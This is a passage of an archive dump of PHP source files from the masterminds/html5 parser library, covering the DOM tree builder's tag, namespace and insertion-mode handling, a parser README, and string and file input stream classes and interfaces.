        'svg' => self::NAMESPACE_SVG,
        'math' => self::NAMESPACE_MATHML,
    );

    /**
     * Holds the always available namespaces (which does not require the XMLNS declaration).
     *
     * @var array
     */
    protected $implicitNamespaces = array(
        'xml' => self::NAMESPACE_XML,
        'xmlns' => self::NAMESPACE_XMLNS,
        'xlink' => self::NAMESPACE_XLINK,
    );

    /**
     * Holds a stack of currently active namespaces.
     *
     * @var array
     */
    protected $nsStack = array();

    /**
     * Holds the number of namespaces declared by a node.
     *
     * @var array
     */
    protected $pushes = array();

    /**
     * Defined in 8.2.5.
     */
    const IM_INITIAL = 0;

    const IM_BEFORE_HTML = 1;

    const IM_BEFORE_HEAD = 2;

    const IM_IN_HEAD = 3;

    const IM_IN_HEAD_NOSCRIPT = 4;

    const IM_AFTER_HEAD = 5;

    const IM_IN_BODY = 6;

    const IM_TEXT = 7;

    const IM_IN_TABLE = 8;

    const IM_IN_TABLE_TEXT = 9;

    const IM_IN_CAPTION = 10;

    const IM_IN_COLUMN_GROUP = 11;

    const IM_IN_TABLE_BODY = 12;

    const IM_IN_ROW = 13;

    const IM_IN_CELL = 14;

    const IM_IN_SELECT = 15;

    const IM_IN_SELECT_IN_TABLE = 16;

    const IM_AFTER_BODY = 17;

    const IM_IN_FRAMESET = 18;

    const IM_AFTER_FRAMESET = 19;

    const IM_AFTER_AFTER_BODY = 20;

    const IM_AFTER_AFTER_FRAMESET = 21;

    const IM_IN_SVG = 22;

    const IM_IN_MATHML = 23;

    protected $options = array();

    protected $stack = array();

    protected $current; // Pointer in the tag hierarchy.
    protected $rules;
    protected $doc;

    protected $frag;

    protected $processor;

    protected $insertMode = 0;

    /**
     * Track if we are in an element that allows only inline child nodes.
     *
     * @var string|null
     */
    protected $onlyInline;

    /**
     * Quirks mode is enabled by default.
     * Any document that is missing the DT will be considered to be in quirks mode.
     */
    protected $quirks = true;

    protected $errors = array();

    public function __construct($isFragment = false, array $options = array())
    {
        $this->options = $options;

        if (isset($options[self::OPT_TARGET_DOC])) {
            $this->doc = $options[self::OPT_TARGET_DOC];
        } else {
            $impl = new \DOMImplementation();
            // XXX:
            // Create the doctype. For now, we are always creating HTML5
            // documents, and attempting to up-convert any older DTDs to HTML5.
            $dt = $impl->createDocumentType('html');
            // $this->doc = \DOMImplementation::createDocument(NULL, 'html', $dt);
            $this->doc = $impl->createDocument(null, '', $dt);
            $this->doc->encoding = !empty($options['encoding']) ? $options['encoding'] : 'UTF-8';
        }

        $this->errors = array();

        $this->current = $this->doc; // ->documentElement;

        // Create a rules engine for tags.
        $this->rules = new TreeBuildingRules();

        $implicitNS = array();
        if (isset($this->options[self::OPT_IMPLICIT_NS])) {
            $implicitNS = $this->options[self::OPT_IMPLICIT_NS];
        } elseif (isset($this->options['implicitNamespaces'])) {
            $implicitNS = $this->options['implicitNamespaces'];
        }

        // Fill $nsStack with the defalut HTML5 namespaces, plus the "implicitNamespaces" array taken form $options
        array_unshift($this->nsStack, $implicitNS + array('' => self::NAMESPACE_HTML) + $this->implicitNamespaces);

        if ($isFragment) {
            $this->insertMode = static::IM_IN_BODY;
            $this->frag = $this->doc->createDocumentFragment();
            $this->current = $this->frag;
        }
    }

    /**
     * Get the document.
     */
    public function document()
    {
        return $this->doc;
    }

    /**
     * Get the DOM fragment for the body.
     *
     * This returns a DOMNodeList because a fragment may have zero or more
     * DOMNodes at its root.
     *
     * @see http://www.w3.org/TR/2012/CR-html5-20121217/syntax.html#concept-frag-parse-context
     *
     * @return \DOMDocumentFragment
     */
    public function fragment()
    {
        return $this->frag;
    }

    /**
     * Provide an instruction processor.
     *
     * This is used for handling Processor Instructions as they are
     * inserted. If omitted, PI's are inserted directly into the DOM tree.
     *
     * @param InstructionProcessor $proc
     */
    public function setInstructionProcessor(InstructionProcessor $proc)
    {
        $this->processor = $proc;
    }

    public function doctype($name, $idType = 0, $id = null, $quirks = false)
    {
        // This is used solely for setting quirks mode. Currently we don't
        // try to preserve the inbound DT. We convert it to HTML5.
        $this->quirks = $quirks;

        if ($this->insertMode > static::IM_INITIAL) {
            $this->parseError('Illegal placement of DOCTYPE tag. Ignoring: ' . $name);

            return;
        }

        $this->insertMode = static::IM_BEFORE_HTML;
    }

    /**
     * Process the start tag.
     *
     * @todo - XMLNS namespace handling (we need to parse, even if it's not valid)
     *       - XLink, MathML and SVG namespace handling
     *       - Omission rules: 8.1.2.4 Optional tags
     *
     * @param string $name
     * @param array  $attributes
     * @param bool   $selfClosing
     *
     * @return int
     */
    public function startTag($name, $attributes = array(), $selfClosing = false)
    {
        $lname = $this->normalizeTagName($name);

        // Make sure we have an html element.
        if (!$this->doc->documentElement && 'html' !== $name && !$this->frag) {
            $this->startTag('html');
        }

        // Set quirks mode if we're at IM_INITIAL with no doctype.
        if ($this->insertMode === static::IM_INITIAL) {
            $this->quirks = true;
            $this->parseError('No DOCTYPE specified.');
        }

        // SPECIAL TAG HANDLING:
        // Spec says do this, and "don't ask."
        // find the spec where this is defined... looks problematic
        if ('image' === $name && !($this->insertMode === static::IM_IN_SVG || $this->insertMode === static::IM_IN_MATHML)) {
            $name = 'img';
        }

        // Autoclose p tags where appropriate.
        if ($this->insertMode >= static::IM_IN_BODY && Elements::isA($name, Elements::AUTOCLOSE_P)) {
            $this->autoclose('p');
        }

        // Set insert mode:
        switch ($name) {
            case 'html':
                $this->insertMode = static::IM_BEFORE_HEAD;
                break;
            case 'head':
                if ($this->insertMode > static::IM_BEFORE_HEAD) {
                    $this->parseError('Unexpected head tag outside of head context.');
                } else {
                    $this->insertMode = static::IM_IN_HEAD;
                }
                break;
            case 'body':
                $this->insertMode = static::IM_IN_BODY;
                break;
            case 'svg':
                $this->insertMode = static::IM_IN_SVG;
                break;
            case 'math':
                $this->insertMode = static::IM_IN_MATHML;
                break;
            case 'noscript':
                if ($this->insertMode === static::IM_IN_HEAD) {
                    $this->insertMode = static::IM_IN_HEAD_NOSCRIPT;
                }
                break;
        }

        // Special case handling for SVG.
        if ($this->insertMode === static::IM_IN_SVG) {
            $lname = Elements::normalizeSvgElement($lname);
        }

        $pushes = 0;
        // when we found a tag thats appears inside $nsRoots, we have to switch the defalut namespace
        if (isset($this->nsRoots[$lname]) && $this->nsStack[0][''] !== $this->nsRoots[$lname]) {
            array_unshift($this->nsStack, array(
                '' => $this->nsRoots[$lname],
            ) + $this->nsStack[0]);
            ++$pushes;
        }
        $needsWorkaround = false;
        if (isset($this->options['xmlNamespaces']) && $this->options['xmlNamespaces']) {
            // when xmlNamespaces is true a and we found a 'xmlns' or 'xmlns:*' attribute, we should add a new item to the $nsStack
            foreach ($attributes as $aName => $aVal) {
                if ('xmlns' === $aName) {
                    $needsWorkaround = $aVal;
                    array_unshift($this->nsStack, array(
                        '' => $aVal,
                    ) + $this->nsStack[0]);
                    ++$pushes;
                } elseif ('xmlns' === (($pos = strpos($aName, ':')) ? substr($aName, 0, $pos) : '')) {
                    array_unshift($this->nsStack, array(
                        substr($aName, $pos + 1) => $aVal,
                    ) + $this->nsStack[0]);
                    ++$pushes;
                }
            }
        }

        if ($this->onlyInline && Elements::isA($lname, Elements::BLOCK_TAG)) {
            $this->autoclose($this->onlyInline);
            $this->onlyInline = null;
        }

        // some elements as table related tags might have optional end tags that force us to auto close multiple tags
        // https://www.w3.org/TR/html401/struct/tables.html
        if ($this->current instanceof \DOMElement && isset(Elements::$optionalEndElementsParentsToClose[$lname])) {
            foreach (Elements::$optionalEndElementsParentsToClose[$lname] as $parentElName) {
                if ($this->current instanceof \DOMElement && $this->current->tagName === $parentElName) {
                    $this->autoclose($parentElName);
                }
            }
        }

        try {
            $prefix = ($pos = strpos($lname, ':')) ? substr($lname, 0, $pos) : '';

            if (false !== $needsWorkaround) {
                $xml = "<$lname xmlns=\"$needsWorkaround\" " . (strlen($prefix) && isset($this->nsStack[0][$prefix]) ? ("xmlns:$prefix=\"" . $this->nsStack[0][$prefix] . '"') : '') . '/>';

                $frag = new \DOMDocument('1.0', 'UTF-8');
                $frag->loadXML($xml);

                $ele = $this->doc->importNode($frag->documentElement, true);
            } else {
                if (!isset($this->nsStack[0][$prefix]) || ('' === $prefix && isset($this->options[self::OPT_DISABLE_HTML_NS]) && $this->options[self::OPT_DISABLE_HTML_NS])) {
                    $ele = $this->doc->createElement($lname);
                } else {
                    $ele = $this->doc->createElementNS($this->nsStack[0][$prefix], $lname);
                }
            }
        } catch (\DOMException $e) {
            $this->parseError("Illegal tag name: <$lname>. Replaced with <invalid>.");
            $ele = $this->doc->createElement('invalid');
        }

        if (Elements::isA($lname, Elements::BLOCK_ONLY_INLINE)) {
            $this->onlyInline = $lname;
        }

        // When we add some namespacess, we have to track them. Later, when "endElement" is invoked, we have to remove them.
        // When we are on a void tag, we do not need to care about namesapce nesting.
        if ($pushes > 0 && !Elements::isA($name, Elements::VOID_TAG)) {
            // PHP tends to free the memory used by DOM,
            // to avoid spl_object_hash collisions whe have to avoid garbage collection of $ele storing it into $pushes
            // see https://bugs.php.net/bug.php?id=67459
            $this->pushes[spl_object_hash($ele)] = array($pushes, $ele);
        }

        foreach ($attributes as $aName => $aVal) {
            // xmlns attributes can't be set
            if ('xmlns' === $aName) {
                continue;
            }

            if ($this->insertMode === static::IM_IN_SVG) {
                $aName = Elements::normalizeSvgAttribute($aName);
            } elseif ($this->insertMode === static::IM_IN_MATHML) {
                $aName = Elements::normalizeMathMlAttribute($aName);
            }

            $aVal = (string) $aVal;

            try {
                $prefix = ($pos = strpos($aName, ':')) ? substr($aName, 0, $pos) : false;

                if ('xmlns' === $prefix) {
                    $ele->setAttributeNS(self::NAMESPACE_XMLNS, $aName, $aVal);
                } elseif (false !== $prefix && isset($this->nsStack[0][$prefix])) {
                    $ele->setAttributeNS($this->nsStack[0][$prefix], $aName, $aVal);
                } else {
                    $ele->setAttribute($aName, $aVal);
                }
            } catch (\DOMException $e) {
                $this->parseError("Illegal attribute name for tag $name. Ignoring: $aName");
                continue;
            }

            // This is necessary on a non-DTD schema, like HTML5.
            if ('id' === $aName) {
                $ele->setIdAttribute('id', true);
            }
        }

        if ($this->frag !== $this->current && $this->rules->hasRules($name)) {
            // Some elements have special processing rules. Handle those separately.
            $this->current = $this->rules->evaluate($ele, $this->current);
        } else {
            // Otherwise, it's a standard element.
            $this->current->appendChild($ele);

            if (!Elements::isA($name, Elements::VOID_TAG)) {
                $this->current = $ele;
            }

            // Self-closing tags should only be respected on foreign elements
            // (and are implied on void elements)
            // See: https://www.w3.org/TR/html5/syntax.html#start-tags
            if (Elements::isHtml5Element($name)) {
                $selfClosing = false;
            }
        }

        // This is sort of a last-ditch attempt to correct for cases where no head/body
        // elements are provided.
        if ($this->insertMode <= static::IM_BEFORE_HEAD && 'head' !== $name && 'html' !== $name) {
            $this->insertMode = static::IM_IN_BODY;
        }

        // When we are on a void tag, we do not need to care about namesapce nesting,
        // but we have to remove the namespaces pushed to $nsStack.
        if ($pushes > 0 && Elements::isA($name, Elements::VOID_TAG)) {
            // remove the namespaced definded by current node
            for ($i = 0; $i < $pushes; ++$i) {
                array_shift($this->nsStack);
            }
        }

        if ($selfClosing) {
            $this->endTag($name);
        }

        // Return the element mask, which the tokenizer can then use to set
        // various processing rules.
        return Elements::element($name);
    }

    public function endTag($name)
    {
        $lname = $this->normalizeTagName($name);

        // Special case within 12.2.6.4.7: An end tag whose tag name is "br" should be treated as an opening tag
        if ('br' === $name) {
            $this->parseError('Closing tag encountered for void element br.');

            $this->startTag('br');
        }
        // Ignore closing tags for other unary elements.
        elseif (Elements::isA($name, Elements::VOID_TAG)) {
            return;
        }

        if ($this->insertMode <= static::IM_BEFORE_HTML) {
            // 8.2.5.4.2
            if (in_array($name, array(
                'html',
                'br',
                'head',
                'title',
            ))) {
                $this->startTag('html');
                $this->endTag($name);
                $this->insertMode = static::IM_BEFORE_HEAD;

                return;
            }

            // Ignore the tag.
            $this->parseError('Illegal closing tag at global scope.');

            return;
        }

        // Special case handling for SVG.
        if ($this->insertMode === static::IM_IN_SVG) {
            $lname = Elements::normalizeSvgElement($lname);
        }

        $cid = spl_object_hash($this->current);

        // XXX: HTML has no parent. What do we do, though,
        // if this element appears in the wrong place?
        if ('html' === $lname) {
            return;
        }

        // remove the namespaced definded by current node
        if (isset($this->pushes[$cid])) {
            for ($i = 0; $i < $this->pushes[$cid][0]; ++$i) {
                array_shift($this->nsStack);
            }
            unset($this->pushes[$cid]);
        }

        if (!$this->autoclose($lname)) {
            $this->parseError('Could not find closing tag for ' . $lname);
        }

        switch ($lname) {
            case 'head':
                $this->insertMode = static::IM_AFTER_HEAD;
                break;
            case 'body':
                $this->insertMode = static::IM_AFTER_BODY;
                break;
            case 'svg':
            case 'mathml':
                $this->insertMode = static::IM_IN_BODY;
                break;
        }
    }

    public function comment($cdata)
    {
        // TODO: Need to handle case where comment appears outside of the HTML tag.
        $node = $this->doc->createComment($cdata);
        $this->current->appendChild($node);
    }

    public function text($data)
    {
        // XXX: Hmmm.... should we really be this strict?
        if ($this->insertMode < static::IM_IN_HEAD) {
            // Per '8.2.5.4.3 The "before head" insertion mode' the characters
            // " \t\n\r\f" should be ignored but no mention of a parse error. This is
            // practical as most documents contain these characters. Other text is not
            // expected here so recording a parse error is necessary.
            $dataTmp = trim($data, " \t\n\r\f");
            if (!empty($dataTmp)) {
                // fprintf(STDOUT, "Unexpected insert mode: %d", $this->insertMode);
                $this->parseError('Unexpected text. Ignoring: ' . $dataTmp);
            }

            return;
        }
        // fprintf(STDOUT, "Appending text %s.", $data);
        $node = $this->doc->createTextNode($data);
        $this->current->appendChild($node);
    }

    public function eof()
    {
        // If the $current isn't the $root, do we need to do anything?
    }

    public function parseError($msg, $line = 0, $col = 0)
    {
        $this->errors[] = sprintf('Line %d, Col %d: %s', $line, $col, $msg);
    }

    public function getErrors()
    {
        return $this->errors;
    }

    public function cdata($data)
    {
        $node = $this->doc->createCDATASection($data);
        $this->current->appendChild($node);
    }

    public function processingInstruction($name, $data = null)
    {
        // XXX: Ignore initial XML declaration, per the spec.
        if ($this->insertMode === static::IM_INITIAL && 'xml' === strtolower($name)) {
            return;
        }

        // Important: The processor may modify the current DOM tree however it sees fit.
        if ($this->processor instanceof InstructionProcessor) {
            $res = $this->processor->process($this->current, $name, $data);
            if (!empty($res)) {
                $this->current = $res;
            }

            return;
        }

        // Otherwise, this is just a dumb PI element.
        $node = $this->doc->createProcessingInstruction($name, $data);

        $this->current->appendChild($node);
    }

    // ==========================================================================
    // UTILITIES
    // ==========================================================================

    /**
     * Apply normalization rules to a tag name.
     * See sections 2.9 and 8.1.2.
     *
     * @param string $tagName
     *
     * @return string The normalized tag name.
     */
    protected function normalizeTagName($tagName)
    {
        /*
         * Section 2.9 suggests that we should not do this. if (strpos($name, ':') !== false) { // We know from the grammar that there must be at least one other // char besides :, since : is not a legal tag start. $parts = explode(':', $name); return array_pop($parts); }
         */
        return $tagName;
    }

    protected function quirksTreeResolver($name)
    {
        throw new \Exception('Not implemented.');
    }

    /**
     * Automatically climb the tree and close the closest node with the matching $tag.
     *
     * @param string $tagName
     *
     * @return bool
     */
    protected function autoclose($tagName)
    {
        $working = $this->current;
        do {
            if (XML_ELEMENT_NODE !== $working->nodeType) {
                return false;
            }
            if ($working->tagName === $tagName) {
                $this->current = $working->parentNode;

                return true;
            }
        } while ($working = $working->parentNode);

        return false;
    }

    /**
     * Checks if the given tagname is an ancestor of the present candidate.
     *
     * If $this->current or anything above $this->current matches the given tag
     * name, this returns true.
     *
     * @param string $tagName
     *
     * @return bool
     */
    protected function isAncestor($tagName)
    {
        $candidate = $this->current;
        while (XML_ELEMENT_NODE === $candidate->nodeType) {
            if ($candidate->tagName === $tagName) {
                return true;
            }
            $candidate = $candidate->parentNode;
        }

        return false;
    }

    /**
     * Returns true if the immediate parent element is of the given tagname.
     *
     * @param string $tagName
     *
     * @return bool
     */
    protected function isParent($tagName)
    {
        return $this->current->tagName === $tagName;
    }
}
vendor/masterminds/html5/src/HTML5/Parser/ParseError.php000066600000000202151150442750017073 0ustar00<?php

namespace Masterminds\HTML5\Parser;

/**
 * Emit when the parser has an error.
 */
class ParseError extends \Exception
{
}
vendor/masterminds/html5/src/HTML5/Parser/README.md000066600000003243151150442750015565 0ustar00# The Parser Model

The parser model here follows the model in section
[8.2.1](http://www.w3.org/TR/2012/CR-html5-20121217/syntax.html#parsing)
of the HTML5 specification, though we do not assume a networking layer.

     [ InputStream ]    // Generic support for reading input.
           ||
      [ Scanner ]       // Breaks down the stream into characters.
           ||
     [ Tokenizer ]      // Groups characters into syntactic
           ||
    [ Tree Builder ]    // Organizes units into a tree of objects
           ||
     [ DOM Document ]     // The final state of the parsed document.


## InputStream

This is an interface with at least two concrete implementations:

- StringInputStream: Reads an HTML5 string.
- FileInputStream: Reads an HTML5 file.

## Scanner

This is a mechanical piece of the parser.

## Tokenizer

This follows section 8.4 of the HTML5 spec. It is (roughly) a recursive
descent parser. (Though there are plenty of optimizations that are less
than purely functional.

## EventHandler and DOMTree

EventHandler is the interface for tree builders. Since not all
implementations will necessarily build trees, we've chosen a more
generic name.

The event handler emits tokens during tokenization.

The DOMTree is an event handler that builds a DOM tree. The output of
the DOMTree builder is a DOMDocument.

## DOMDocument

PHP has a DOMDocument class built-in (technically, it's part of libxml.)
We use that, thus rendering the output of this process compatible with
SimpleXML, QueryPath, and many other XML/HTML processing tools.

For cases where the HTML5 is a fragment of a HTML5 document a
DOMDocumentFragment is returned instead. This is another built-in class.
vendor/masterminds/html5/src/HTML5/Parser/StringInputStream.php000066600000022713151150442750020464 0ustar00<?php
/**
 * Loads a string to be parsed.
 */

namespace Masterminds\HTML5\Parser;

/*
 *
* Based on code from html5lib:

Copyright 2009 Geoffrey Sneddon <http://gsnedders.com/>

Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the
    "Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:

The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

*/

// Some conventions:
// - /* */ indicates verbatim text from the HTML 5 specification
//   MPB: Not sure which version of the spec. Moving from HTML5lib to
//   HTML5-PHP, I have been using this version:
//   http://www.w3.org/TR/2012/CR-html5-20121217/Overview.html#contents
//
// - // indicates regular comments

/**
 * @deprecated since 2.4, to remove in 3.0. Use a string in the scanner instead.
 */
class StringInputStream implements InputStream
{
    /**
     * The string data we're parsing.
     */
    private $data;

    /**
     * The current integer byte position we are in $data.
     */
    private $char;

    /**
     * Length of $data; when $char === $data, we are at the end-of-file.
     */
    private $EOF;

    /**
     * Parse errors.
     */
    public $errors = array();

    /**
     * Create a new InputStream wrapper.
     *
     * @param string $data     Data to parse.
     * @param string $encoding The encoding to use for the data.
     * @param string $debug    A fprintf format to use to echo the data on stdout.
     */
    public function __construct($data, $encoding = 'UTF-8', $debug = '')
    {
        $data = UTF8Utils::convertToUTF8($data, $encoding);
        if ($debug) {
            fprintf(STDOUT, $debug, $data, strlen($data));
        }

        // There is good reason to question whether it makes sense to
        // do this here, since most of these checks are done during
        // parsing, and since this check doesn't actually *do* anything.
        $this->errors = UTF8Utils::checkForIllegalCodepoints($data);

        $data = $this->replaceLinefeeds($data);

        $this->data = $data;
        $this->char = 0;
        $this->EOF = strlen($data);
    }

    public function __toString()
    {
        return $this->data;
    }

    /**
     * Replace linefeed characters according to the spec.
     */
    protected function replaceLinefeeds($data)
    {
        /*
         * U+000D CARRIAGE RETURN (CR) characters and U+000A LINE FEED (LF) characters are treated specially.
         * Any CR characters that are followed by LF characters must be removed, and any CR characters not
         * followed by LF characters must be converted to LF characters. Thus, newlines in HTML DOMs are
         * represented by LF characters, and there are never any CR characters in the input to the tokenization
         * stage.
         */
        $crlfTable = array(
            "\0" => "\xEF\xBF\xBD",
            "\r\n" => "\n",
            "\r" => "\n",
        );

        return strtr($data, $crlfTable);
    }

    /**
     * Returns the current line that the tokenizer is at.
     */
    public function currentLine()
    {
        if (empty($this->EOF) || 0 === $this->char) {
            return 1;
        }
        // Add one to $this->char because we want the number for the next
        // byte to be processed.
        return substr_count($this->data, "\n", 0, min($this->char, $this->EOF)) + 1;
    }

    /**
     * @deprecated
     */
    public function getCurrentLine()
    {
        return $this->currentLine();
    }

    /**
     * Returns the current column of the current line that the tokenizer is at.
     * Newlines are column 0. The first char after a newline is column 1.
     *
     * @return int The column number.
     */
    public function columnOffset()
    {
        // Short circuit for the first char.
        if (0 === $this->char) {
            return 0;
        }
        // strrpos is weird, and the offset needs to be negative for what we
        // want (i.e., the last \n before $this->char). This needs to not have
        // one (to make it point to the next character, the one we want the
        // position of) added to it because strrpos's behaviour includes the
        // final offset byte.
        $backwardFrom = $this->char - 1 - strlen($this->data);
        $lastLine = strrpos($this->data, "\n", $backwardFrom);

        // However, for here we want the length up until the next byte to be
        // processed, so add one to the current byte ($this->char).
        if (false !== $lastLine) {
            $findLengthOf = substr($this->data, $lastLine + 1, $this->char - 1 - $lastLine);
        } else {
            // After a newline.
            $findLengthOf = substr($this->data, 0, $this->char);
        }

        return UTF8Utils::countChars($findLengthOf);
    }

    /**
     * @deprecated
     */
    public function getColumnOffset()
    {
        return $this->columnOffset();
    }

    /**
     * Get the current character.
     *
     * @return string The current character.
     */
    #[\ReturnTypeWillChange]
    public function current()
    {
        return $this->data[$this->char];
    }

    /**
     * Advance the pointer.
     * This is part of the Iterator interface.
     */
    #[\ReturnTypeWillChange]
    public function next()
    {
        ++$this->char;
    }

    /**
     * Rewind to the start of the string.
     */
    #[\ReturnTypeWillChange]
    public function rewind()
    {
        $this->char = 0;
    }

    /**
     * Is the current pointer location valid.
     *
     * @return bool Whether the current pointer location is valid.
     */
    #[\ReturnTypeWillChange]
    public function valid()
    {
        return $this->char < $this->EOF;
    }

    /**
     * Get all characters until EOF.
     *
     * This reads to the end of the file, and sets the read marker at the
     * end of the file.
     *
     * Note this performs bounds checking.
     *
     * @return string Returns the remaining text. If called when the InputStream is
     *                already exhausted, it returns an empty string.
     */
    public function remainingChars()
    {
        if ($this->char < $this->EOF) {
            $data = substr($this->data, $this->char);
            $this->char = $this->EOF;

            return $data;
        }

        return ''; // false;
    }

    /**
     * Read to a particular match (or until $max bytes are consumed).
     *
     * This operates on byte sequences, not characters.
     *
     * Matches as far as possible until we reach a certain set of bytes
     * and returns the matched substring.
     *
     * @param string $bytes Bytes to match.
     * @param int    $max   Maximum number of bytes to scan.
     *
     * @return mixed Index or false if no match is found. You should use strong
     *               equality when checking the result, since index could be 0.
     */
    public function charsUntil($bytes, $max = null)
    {
        if ($this->char >= $this->EOF) {
            return false;
        }

        if (0 === $max || $max) {
            $len = strcspn($this->data, $bytes, $this->char, $max);
        } else {
            $len = strcspn($this->data, $bytes, $this->char);
        }

        $string = (string) substr($this->data, $this->char, $len);
        $this->char += $len;

        return $string;
    }

    /**
     * Returns the string so long as $bytes matches.
     *
     * Matches as far as possible with a certain set of bytes
     * and returns the matched substring.
     *
     * @param string $bytes A mask of bytes to match. If ANY byte in this mask matches the
     *                      current char, the pointer advances and the char is part of the
     *                      substring.
     * @param int    $max   The max number of chars to read.
     *
     * @return string
     */
    public function charsWhile($bytes, $max = null)
    {
        if ($this->char >= $this->EOF) {
            return false;
        }

        if (0 === $max || $max) {
            $len = strspn($this->data, $bytes, $this->char, $max);
        } else {
            $len = strspn($this->data, $bytes, $this->char);
        }
        $string = (string) substr($this->data, $this->char, $len);
        $this->char += $len;

        return $string;
    }

    /**
     * Unconsume characters.
     *
     * @param int $howMany The number of characters to unconsume.
     */
    public function unconsume($howMany = 1)
    {
        if (($this->char - $howMany) >= 0) {
            $this->char -= $howMany;
        }
    }

    /**
     * Look ahead without moving cursor.
     */
    public function peek()
    {
        if (($this->char + 1) <= $this->EOF) {
            return $this->data[$this->char + 1];
        }

        return false;
    }

    #[\ReturnTypeWillChange]
    public function key()
    {
        return $this->char;
    }
}
vendor/masterminds/html5/src/HTML5/Parser/EventHandler.php000066600000007134151150442750017401 0ustar00<?php

namespace Masterminds\HTML5\Parser;

/**
 * Standard events for HTML5.
 *
 * This is roughly analogous to a SAX2 or expat-style interface.
 * However, it is tuned specifically for HTML5, according to section 8
 * of the HTML5 specification.
 *
 * An event handler receives parser events. For a concrete
 * implementation, see DOMTreeBuilder.
 *
 * Quirks support in the parser is limited to close-in syntax (malformed
 * tags or attributes). Higher order syntax and semantic issues with a
 * document (e.g. mismatched tags, illegal nesting, etc.) are the
 * responsibility of the event handler implementation.
 *
 * See HTML5 spec section 8.2.4
 */
interface EventHandler
{
    const DOCTYPE_NONE = 0;

    const DOCTYPE_PUBLIC = 1;

    const DOCTYPE_SYSTEM = 2;

    /**
     * A doctype declaration.
     *
     * @param string $name   The name of the root element.
     * @param int    $idType One of DOCTYPE_NONE, DOCTYPE_PUBLIC, or DOCTYPE_SYSTEM
     * @param string $id     The identifier. For DOCTYPE_PUBLIC, this is the public ID. If DOCTYPE_SYSTEM,
     *                       then this is a system ID.
     * @param bool   $quirks Indicates whether the builder should enter quirks mode.
     */
    public function doctype($name, $idType = 0, $id = null, $quirks = false);

    /**
     * A start tag.
     *
     * IMPORTANT: The parser watches the return value of this event. If this returns
     * an integer, the parser will switch TEXTMODE patters according to the int.
     *
     * This is how the Tree Builder can tell the Tokenizer when a certain tag should
     * cause the parser to go into RAW text mode.
     *
     * The HTML5 standard requires that the builder is the one that initiates this
     * step, and this is the only way short of a circular reference that we can
     * do that.
     *
     * Example: if a startTag even for a `script` name is fired, and the startTag()
     * implementation returns Tokenizer::TEXTMODE_RAW, then the tokenizer will
     * switch into RAW text mode and consume data until it reaches a closing
     * `script` tag.
     *
     * The textmode is automatically reset to Tokenizer::TEXTMODE_NORMAL when the
     * closing tag is encounter. **This behavior may change.**
     *
     * @param string $name        The tag name.
     * @param array  $attributes  An array with all of the tag's attributes.
     * @param bool   $selfClosing An indicator of whether or not this tag is self-closing (<foo/>).
     *
     * @return int one of the Tokenizer::TEXTMODE_* constants
     */
    public function startTag($name, $attributes = array(), $selfClosing = false);

    /**
     * An end-tag.
     */
    public function endTag($name);

    /**
     * A comment section (unparsed character data).
     */
    public function comment($cdata);

    /**
     * A unit of parsed character data.
     *
     * Entities in this text are *already decoded*.
     */
    public function text($cdata);

    /**
     * Indicates that the document has been entirely processed.
     */
    public function eof();

    /**
     * Emitted when the parser encounters an error condition.
     */
    public function parseError($msg, $line, $col);

    /**
     * A CDATA section.
     *
     * @param string $data
     *                     The unparsed character data
     */
    public function cdata($data);

    /**
     * This is a holdover from the XML spec.
     *
     * While user agents don't get PIs, server-side does.
     *
     * @param string $name The name of the processor (e.g. 'php').
     * @param string $data The unparsed data.
     */
    public function processingInstruction($name, $data = null);
}
vendor/masterminds/html5/src/HTML5/Parser/InputStream.php000066600000004703151150442750017274 0ustar00<?php

namespace Masterminds\HTML5\Parser;

/**
 * Interface for stream readers.
 *
 * The parser only reads from streams. Various input sources can write
 * an adapater to this InputStream.
 *
 * Currently provided InputStream implementations include
 * FileInputStream and StringInputStream.
 *
 * @deprecated since 2.4, to remove in 3.0. Use a string in the scanner instead.
 */
interface InputStream extends \Iterator
{
    /**
     * Returns the current line that is being consumed.
     *
     * TODO: Move this to the scanner.
     */
    public function currentLine();

    /**
     * Returns the current column of the current line that the tokenizer is at.
     *
     * Newlines are column 0. The first char after a newline is column 1.
     *
     * @TODO Move this to the scanner.
     *
     * @return int The column number.
     */
    public function columnOffset();

    /**
     * Get all characters until EOF.
     *
     * This consumes characters until the EOF.
     */
    public function remainingChars();

    /**
     * Read to a particular match (or until $max bytes are consumed).
     *
     * This operates on byte sequences, not characters.
     *
     * Matches as far as possible until we reach a certain set of bytes
     * and returns the matched substring.
     *
     * @see strcspn
     *
     * @param string $bytes Bytes to match.
     * @param int    $max   Maximum number of bytes to scan.
     *
     * @return mixed Index or false if no match is found. You should use strong
     *               equality when checking the result, since index could be 0.
     */
    public function charsUntil($bytes, $max = null);

    /**
     * Returns the string so long as $bytes matches.
     *
     * Matches as far as possible with a certain set of bytes
     * and returns the matched substring.
     *
     * @see strspn
     *
     * @param string $bytes A mask of bytes to match. If ANY byte in this mask matches the
     *                      current char, the pointer advances and the char is part of the
     *                      substring.
     * @param int    $max   The max number of chars to read.
     */
    public function charsWhile($bytes, $max = null);

    /**
     * Unconsume one character.
     *
     * @param int $howMany The number of characters to move the pointer back.
     */
    public function unconsume($howMany = 1);

    /**
     * Retrieve the next character without advancing the pointer.
     */
    public function peek();
}
vendor/masterminds/html5/src/HTML5/Parser/FileInputStream.php000066600000002211151150442750020064 0ustar00<?php

namespace Masterminds\HTML5\Parser;

/**
 * The FileInputStream loads a file to be parsed.
 *
 * So right now we read files into strings and then process the
 * string. We chose to do this largely for the sake of expediency of
 * development, and also because we could optimize toward processing
 * arbitrarily large chunks of the input. But in the future, we'd
 * really like to rewrite this class to efficiently handle lower level
 * stream reads (and thus efficiently handle large documents).
 *
 * @deprecated since 2.4, to remove in 3.0. Use a string in the scanner instead.
 */
class FileInputStream extends StringInputStream implements InputStream
{
    /**
